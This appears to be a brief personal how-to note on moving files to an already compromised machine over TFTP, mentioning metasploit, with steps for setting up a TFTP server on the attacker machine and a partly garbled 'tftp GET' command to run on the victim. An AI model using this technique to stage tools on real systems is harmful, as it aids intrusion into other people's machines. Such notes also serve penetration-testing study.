How to create a connection TFTP using metasploit

Once owned the machine:

In the attacker machine
  • Install TFTP from packet manager
  • cat /etc/inetd.conf . There is one row in the file that has not been commented. Look the last file location, it represents the TFTP folder you will reach when you will connect remotely. In my computer the path was /srv/tftp
In the victim machine
  • type tftp GET . has to be a file contained in the folder /srv/tftp of the attacker machine
NB: the commands syntax for tftp in linux are different from TFTP in Windows

NBB. for binary files use the -i flag http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/tftp.mspx?mfr=true